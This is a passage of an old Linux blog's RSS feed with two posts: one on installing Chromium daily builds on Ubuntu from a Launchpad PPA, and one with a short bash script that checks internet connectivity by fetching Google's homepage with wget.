		<dc:creator>artiomix</dc:creator>
				<category><![CDATA[applications]]></category>
		<category><![CDATA[howtos]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[tips]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://www.linuxscrew.com/?p=798</guid>
		<description><![CDATA[Update: Using Ubuntu Lucid Lynx? Here is corresponding article for you:
Install Google Chrome (Chromium) on Ubuntu Lucid Lynx.
One of the easiest way to try Chromium browser in Ubuntu Linux (Google Chrome browser for Unix/Linux operating system is named as Chromium) is to use daily binary builds at https://launchpad.net/chromium-project. Today Ubuntu is the most popular Linux [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Update</strong>: Using <em>Ubuntu Lucid Lynx</em>? Here is corresponding article for you:<br />
<a href="http://www.linuxscrew.com/2010/05/08/install-google-chrome-chromium-ubuntu-lucid-lynx/">Install Google Chrome (Chromium) on Ubuntu Lucid Lynx</a>.</p>
<p>One of the easiest way to try <strong>Chromium</strong> browser in <strong>Ubuntu</strong> Linux (<strong><a href="http://www.google.com/chrome">Google Chrome</a> browser</strong> for Unix/Linux operating system is named as <a href="http://code.google.com/chromium/">Chromium</a>) is to use daily binary builds at <a rel="nofollow" href="https://launchpad.net/chromium-project">https://launchpad.net/chromium-project</a>. Today Ubuntu is the most popular Linux disributions for desktops so there are daily builds available for the following Ubuntu versions: <strong><a href="http://releases.ubuntu.com/hardy/">hardy</a></strong>, <strong><a href="http://releases.ubuntu.com/intrepid/">intrepid</a></strong>, <strong><a href="http://releases.ubuntu.com/jaunty/">jaunty</a></strong>, <strong><a href="https://lists.ubuntu.com/archives/ubuntu-devel-announce/2009-February/000536.html">karmic</a></strong>.</p>
<p>First let your Ubuntu know where it should find chromium-browser deb package:</p>
<p><code>vi /etc/apt/sources.list</code></p>
<p>add the following lines:</p>
<p><code>deb http://ppa.launchpad.net/chromium-daily/ppa/ubuntu jaunty main<br />
deb-src http://ppa.launchpad.net/chromium-daily/ppa/ubuntu jaunty main</code></p>
<p>Replace jaunty with hardy, intrepid or karmic depending which version you run at your computer. If you feel this information is not sufficient for you, follow <a href="https://help.ubuntu.com/8.04/add-applications/C/extra-repositories-adding.html">this link</a> to get Ubuntu official information on this matter or follow <a href="https://help.launchpad.net/Packaging/PPA#Adding%20a%20PPA%20to%20your%20Ubuntu%20repositories">Launchpad help</a>.</p>
<p>The next step is to install Chromium browser:</p>
<p><code>sudo apt-get update</code><br />
<code>sudo apt-get install chromium-browser</code><br />
or<br />
<code>sudo aptitude install chromium-browser</code></p>
<p>Once you press enter <strong>Ubuntu</strong> will download around 18 MB of data from launchpad&#8217;s server and will install Chromium with gnome menu entries and shortcuts. Now you can go to <em>System menu &#8211;&gt; Internet &#8211;&gt; Chromium Web Browser</em> in order to launch<strong> Google browser</strong>.</p>
<div class="wp-caption aligncenter" style="width: 594px"><img title="Chromium Ubuntu (google chrome for linux)" src="http://linuxscrew.com/files/Chromium-Ubuntu.png" alt="Ubuntu Chromium (google chrome for linux)" width="584" height="561" /><p class="wp-caption-text">Ubuntu Chromium Google browser (Google Chrome Ubuntu)</p></div>
<p>As you might know there is still no official release of chromium/chrome available for Linux, so these daily builds from launchpad are for testing/observations purposes only. For example, there is no flash plugin available so you will be able to see html pages like this one and no swf/flash content. Anyway thanks to Google for great browser which has all chances to become &#8220;browser number one&#8221; for Linux or even for the rest of operating system such as Windows or Mac. Who knows? <img src='http://www.linuxscrew.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>You might also find this page using <a href="http://www.google.com">Google</a> and the following keywords: <em>Ubuntu Chrome, Google Chrome Ubuntu, Chrome for Ubuntu </em>and others.</p>
<p><!-- INFOLINKS_OFF -->
<p style="padding-top: 25px; padding-bottom: 25px;"><font size="-2"><strong>Information improvisation: </strong>Remarkable online <a href="http://www.actualtests.com/exam-HP0-S23.htm">HP0-S23</a> and <a href="http://www.certkiller.com/A-plus-certification-training.htm">a+ braindumps</a> training programs will lead you to success in the <a href="http://www.examsheets.com/exam/350-050.htm">350-050</a> and <a href="http://www.testkingsite.com/hp/HP2-E31.html">HP2-E31</a> exams. We also offer latest <a href="http://www.testkingprep.com/642-731.html">642-731</a> dumps with 100% success guarantee.<br />
</font></p>
]]></content:encoded>
			<wfw:commentRss>http://www.linuxscrew.com/2009/06/22/install-ubuntu-chromium-browser-google-chrome-for-linux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tiny bash scripts: check Internet connection availability</title>
		<link>http://www.linuxscrew.com/2009/04/02/tiny-bash-scripts-check-internet-connection-availability/</link>
		<comments>http://www.linuxscrew.com/2009/04/02/tiny-bash-scripts-check-internet-connection-availability/#comments</comments>
		<pubDate>Thu, 02 Apr 2009 07:54:12 +0000</pubDate>
		<dc:creator>artiomix</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[tips]]></category>

		<guid isPermaLink="false">http://www.linuxscrew.com/?p=722</guid>
		<description><![CDATA[Sometimes it is necessary to check whether server you want to run some big bash script is connected to Internet. Usually it makes sense while running scripts periodically using cron.  Below is the tiny bash script for this purpose:
#!/bin/bash

WGET="/usr/bin/wget"

$WGET -q --tries=10 --timeout=5 http://www.google.com -O /tmp/index.google &#38;&#62; /dev/null
if [ ! -s /tmp/index.google ];then
	echo "no"
else
	echo "yes"
fi
As you [...]]]></description>
			<content:encoded><![CDATA[<p>Sometimes it is necessary to check whether server you want to run some big bash script is connected to Internet. Usually it makes sense while running scripts periodically using cron.  Below is the tiny bash script for this purpose:</p>
<pre>#!/bin/bash

WGET="/usr/bin/wget"

$WGET -q --tries=10 --timeout=5 http://www.google.com -O /tmp/index.google &amp;&gt; /dev/null
if [ ! -s /tmp/index.google ];then
	echo "no"
else
	echo "yes"
fi</pre>
<p>As you see it tries to download google&#8217;s index page, if it&#8217;s not empty script returns &#8220;yes&#8221;, if there is not Internet connection available script will return &#8220;no&#8221;. If it is impossible to fetch the page in more than 5 seconds script will return &#8220;no&#8221; as well.</p>
<p>Anything to add? You are welcome! <img src='http://www.linuxscrew.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.linuxscrew.com/2009/04/02/tiny-bash-scripts-check-internet-connection-availability/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

